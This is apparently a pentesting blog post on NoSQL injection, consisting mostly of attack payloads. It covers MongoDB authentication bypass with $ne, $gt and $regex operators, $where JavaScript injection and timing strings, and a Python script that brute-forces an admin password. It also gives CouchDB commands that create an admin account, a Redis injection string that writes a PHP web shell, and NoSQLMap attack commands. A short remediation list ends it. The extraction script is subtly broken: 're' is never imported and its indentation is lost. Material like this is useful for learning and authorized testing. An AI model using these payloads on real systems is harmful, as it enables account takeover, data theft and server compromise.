← Back to writing
Web Pentesting

NoSQL Injection

Jun 08, 2024
3 min read
lawbyte

NoSQL databases don’t use SQL, but they’re still injectable. MongoDB is the most common target — its query operators can be injected through JSON or URL parameters to bypass authentication and extract data.

MongoDB Injection

Authentication bypass via operator injection

Vulnerable code:

db.users.findOne({
username: req.body.username,
password: req.body.password
});

JSON body injection:

{"username": "admin", "password": {"$ne": null}}

The $ne: null operator matches any non-null password — bypasses auth for the admin user.

{"username": {"$ne": null}, "password": {"$ne": null}}

This matches the first user regardless of credentials.

URL parameter injection:

POST /login
username[$ne]=x&password[$ne]=x
username[$gt]=&password[$gt]=

MongoDB Operator Injection Reference

// Comparison
$ne → not equal
$gt → greater than
$gte → greater than or equal
$lt → less than
$lte → less than or equal
$in → value in array
$nin → value not in array
$exists → field exists

// Logic
$or → logical OR
$and → logical AND
$not → logical NOT
$nor → logical NOR

// Evaluation
$regex → regex match
$where → JavaScript expression
$expr → aggregation expressions

$regex for user enumeration

{"username": {"$regex": "^admin"}, "password": {"$ne": ""}}
{"username": {"$regex": "^a"}, "password": {"$ne": ""}}
{"username": {"$regex": "^ad"}, "password": {"$ne": ""}}

Binary search through usernames character by character.

$in for known value testing

{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$ne": ""}}

$where JavaScript Injection

If the app uses $where, you can execute JavaScript:

// Vulnerable query
db.users.find({$where: "this.username == '" + username + "'"})

// Injection — bypass
' || '1'=='1
' || true || '

// Data exfiltration via sleep (blind)
'; sleep(5000); var x='
' || (function(){var date=new Date(); do {curDate = new Date();}while(curDate-date<5000); return true;})() || '1'=='1

// Username enumeration via timing
' || this.username.match(/^a.*/) && sleep(5000) || '1'=='1

Blind NoSQL Injection — Data Extraction

Extract data character by character using regex + boolean responses:

import requests

url = "https://target.com/login"
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$"
password = ""

for position in range(1, 50):
for char in chars:
payload = {
"username": "admin",
"password[$regex]": f"^{re.escape(password + char)}"
}
r = requests.post(url, json=payload)
if "Welcome" in r.text or r.status_code == 200:
password += char
print(f"[+] Password so far: {password}")
break

PHP + MongoDB Injection

In PHP, when data is passed via $_GET / $_POST without sanitization:

# URL parameter: ?user[username][$gt]=&user[password][$gt]=
# Results in PHP array: ['username' => ['$gt' => ''], 'password' => ['$gt' => '']]

CouchDB Injection

CouchDB has a REST API and uses _design documents with JavaScript views.

# List all databases (unauthenticated if misconfigured)
curl http://target.com:5984/_all_dbs

# Read all documents
curl http://target.com:5984/mydb/_all_docs?include_docs=true

# Admin Party (no auth configured)
curl -X PUT http://target.com:5984/_users/org.couchdb.user:attacker \
-d '{"name":"attacker","password":"pass","roles":["_admin"],"type":"user"}'

Redis Injection

Redis accepts plaintext commands. If user input reaches a Redis command:

# Injecting newlines to add additional commands
SET key value\r\nCONFIG SET dir /var/www/html\r\nCONFIG SET dbfilename shell.php\r\nSET x "<?php system($_GET['c']); ?>"\r\nSAVE\r\n

MongoDB Aggregation Injection

In $lookup or $match stages:

// Vulnerable
db.collection.aggregate([{$match: {name: userInput}}])

// Injection
{"$where": "sleep(5000)"}

Tools

# NoSQLMap
python nosqlmap.py --attack 1 # authentication bypass
python nosqlmap.py -u "http://target.com/login" --attack 2 # data extraction

# nosql-exploitation-framework
python nosql.py -u "http://target.com/login" -d "user=INJECT&pass=test"

# Burp Suite — manually test with Repeater
# Intruder with JSON payload lists for operator fuzzing

Remediation

  • Validate and cast input types — if a username should be a string, reject objects/arrays.
  • Use MongoDB’s typed query builders instead of raw query construction.
  • Disable $where (JavaScript execution) with javascriptEnabled: false in MongoDB config.
  • Implement authentication on all MongoDB ports (never bind to 0.0.0.0 without auth).
  • Use an ODM (Mongoose, etc.) with proper schema validation.

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.